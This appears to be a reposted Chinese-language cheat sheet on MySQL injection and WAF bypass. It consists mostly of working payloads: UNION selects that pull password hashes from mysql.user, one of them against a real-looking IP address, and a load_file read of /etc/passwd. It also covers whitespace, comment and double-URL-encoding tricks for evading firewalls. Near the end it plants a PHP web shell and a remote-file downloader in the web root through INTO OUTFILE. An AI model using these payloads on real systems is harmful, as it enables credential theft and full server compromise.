MYSQL注入繞過技巧
阿新 • • 發佈:2018-12-31
/lingdao.php?id=4.990Union(select-1.0,2,3,4,5,6,7,@@version)
Article/show/id/4.0Union(select-0.1,2,USER,password,5,6,7,8,9,10,11,12,13.0FROM mysql%252euser)
/lingdao.php?id=4.990Union(select-.1,password,3,4,5,6,7,8.0FROM(`mysql`.user))
/lingdao.php?id=4.990Union(select-.1,password,3,4,5,6,7,`user`FROM(`mysql`.user))
/lingdao.php?id=4.990Union(select-.1,`load_file`(0x2F6574632F706173737764),3,4,5,6,7,8)
----------------------------------------------------------------------------
select user,password from users where user_id=\Nunion select 1,2;
// \n表示回車,在Linux中表示一行的結束。
select user,password from users where user_id=1.0union select 1,2;
//不只是1.0只要是小數都行。
select user,password from users where user_id=1e0union select 1,2;
//1e0表示科學計數法。
//SQL關鍵字、列名不區分大小寫,資料庫名錶名區分大小寫。
select user,password from users where user_id=1 union select-1,2;
//select後面如果是數字,可以是-1也可以是+1(即在數字的前面新增數學符號),這樣就避免了使用空格。
select user,password from users where user_id=1 union select~1,2;
//~1會返回一串數字,我在kali中測試返回18446744073709551614
select user,password from users where user_id=1 union select!1,2;
//!表示邏輯非
select user,password from users where user_id=1 union
//@1會返回null,@後面跟什麼都返回null。
select user,password from users where user_id=1 union select'1',2;
//單引號可以,雙引號也可以。
select user,password from users where user_id=1 union select(1),2;
//小括號可以巢狀多個。
當然能夠代替空格的還有註釋符/**/
char(109) 等於m
ascii('m') 等於109
length('ddd') 等於3
substring('abc',2,1) 等於b
select load_file(0x2F6574632F706173737764);
//和 select load_file('/etc/passwd') Mysql會自動解碼十六進位制字串。
select hex('shenlan'); 的值等於 7368656E6C616E
//對字串進行十六進位制編碼
select unhex('7368656E6C616E'); 的值等於 shenlan
//對十六進位制字串進行解密
select substring(hex(load_file('/tmp/90.jpg')),1,10);
//使用substring函式對內容進行才分,這樣一次便可以有效地讀取一塊二進位制檔案,從而克服應用程式可能強加 //的限制。如上面的例子,先讀取前10個字元,然後讀取第二個字元塊是:
select substring(hex(load_file('/tmp/90.jpg')),11,10);
select 'shenlan' into outfile '/tmp/test.txt';
//寫檔案,dumpfile允許寫二進位制檔案。
避開WAF的其他方法
使用大小寫變種
使用註釋符
select/**/password/**/from/**/admin;
使用URL編碼
http://210.36.200.9/xjzx/Article/show/id/4.0Union(select-0.1,2,USER,password,5,6,7,8,9,10,11,12,13.0FROM mysql%252euser)
//waf對提交的字串只進行一次url解碼,而web application卻進行二次url解碼,所以得以繞過防火牆檢測。
可用於判斷的符號
=、<、>、<>、like、!=
id=8/*!50380 -1*/
//判斷資料庫版本,如果版本編號大於50380則id=7,否則id=8
//mysql將會採取類似四捨五入的方式來計算@@version,如果@@version=5.1.52,則id=85。如果 //@@version=5.6.11,則id=84
id=14260-if(@@version>5.1,1,0)
//如果版本小於或等於5.1,則id不變,否則減一。
使用非標準入口點
比如,目標伺服器開了80埠和443埠,但是waf對過濾了80沒過濾443,這時我們就可以從443入手。或者cookie 注入或者其他http頭資訊注入。
二階注入
混合攻擊(xss+sql注入),比如當sql注入點在後臺的時候;管理員在內部網登入伺服器進行管理,而waf只檢測 外來的連線的時候。
select user,password from(users)where user_id=1.0Union(select(1),(2));
//本例中使用1.0代替1,以去掉兩者間本應有的空格,接下來使用小括號將數字括起來以免去空格。
判讀是否存在注入
id=161.0and%2b1
id=161.0and false
id=161 and true=1
//and、or、xor、&&、||、!、+、-、*、/
1、按位與“&”
2、按位或“|”
3、按位取反“~”
4、安位異或“^”
5、按位左移“<<”
6、按位右移“>>”
空格:
09 Horizontal Tab
0A New Line
0B Vertical Tab
0C New Page
0D Carriage Return
A0 Non-breaking Space
20 Space
select user,password from users where user_id=1&&1=1;
常見的URL編碼
20 Space
2B +
2D -
7E ~
21 !
40 @
25 %
3d =
XOR, DIV(除), SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN,mod(求餘)
select user,password from users limit 0,2;
//返回的行數,下標從0開始。limit 0,2 表示返回前兩行。limit 1,1 表示返回第二行。
利用MySQL出錯爆出欄位
select user,password from users where user_id=1 and 'a'=b'1100001';
//b表示二進位制編碼
'a'=x'61' //x表示十六進位制編碼
'a'=unhex(61) //為真
'a'=n'a' //n表示uniconde
select concat(host,0x2D2D2D,password) from mysql.user;
//0x2D2D2D就是---,用作間隔。
截斷符號:# -- /* %00
延遲
id=80-if(@@version>5.0,sleep(5),0)
select user,password from users where user_id=1/*!00000union*//*!select*/1,2;
//可以正常執行
mid()、substr()、substring()這三個函式功能相同用法相同
select password,`host`from`mysql`.`user`union select 1,2;
//反單引號可用於資料庫名、表名、列名上,但是不可用於內容,函式名、關鍵字上。
select `version`();
//不過這樣可以
strcmp()函式的功能及用法:
mysql> SELECT STRCMP('text', 'text2');
-> -1
mysql> SELECT STRCMP('text2', 'text');
-> 1
mysql> SELECT STRCMP('text', 'text');
-> 0
Escape Sequence Character Represented by Sequence
\0 An ASCII NUL (0x00) character.
\' A single quote (“'”) character.
\" A double quote (“"”) character.
\b A backspace character.
\n A newline (linefeed) character.
\r A carriage return character.
\t A tab character.
\Z ASCII 26 (Control+Z). See note following the table.
\\ A backslash (“\”) character.
\% A “%” character. See note following the table.
\_ A “_” character. See note following the table.
select+user,+password,-1-1.from users where user_id=1;
//在列名前加+號,不影響返回的值,還可以是-、!之類的運算子,不過結果可能會變。
select-count(user)as t from mysql.user;
//返回的列名將變為t,也可以不要as,如 select-count(user)t from mysql.user;
version() //資料庫版本
user() //當前資料庫使用者
database() //當前資料庫名
下面的符號可以用來註釋語句:
# Hash 語法
/* C-style 語法
-- - SQL 語法
;%00 空位元組
` 反引號
測試資料庫版本
VERSION()
@@VERSION
@@GLOBAL.VERSION
顯示資料庫使用者
user(), current_user(), current_user, system_user(), session_user()
select concat_ws(0x3a,host,password) from mysql.user;
//0x3a是冒號,表示host和password間的間隔。
//也可以這樣,效果是一樣的
select concat(host,0x3a,password) from mysql.user;
當前資料庫名
database()
select schema()
顯示所有資料庫名
SELECT schema_name FROM information_schema.schemata;
主機名
@@HOSTNAME
寫一個php的shell
SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
訪問如下連結:
http://localhost/shell.php?c=cat%20/etc/passwd
寫一個下載者
SELECT '<?php fputs(fopen($_GET[f],w),file_get_contents($_GET[d]));?>' INTO OUTFILE '/var/www/get.php'
也可以進行十六進位制編碼後在使用
訪問如下連結:
http://localhost/get.php?f=shell.txt&d=http://localhost/admin.php
INTO OUTFILE 不可以覆蓋已存在的檔案。
引號是必須的,因為沒有辦法可以編碼路徑名。
寬位元組注入
select password from mysql.user where user='root'%23te456tt465et%0Aand%23gdgetedfg%0A4=4 limit 1
//使用隨機註釋替換空格,%23是#號,%0a是換行符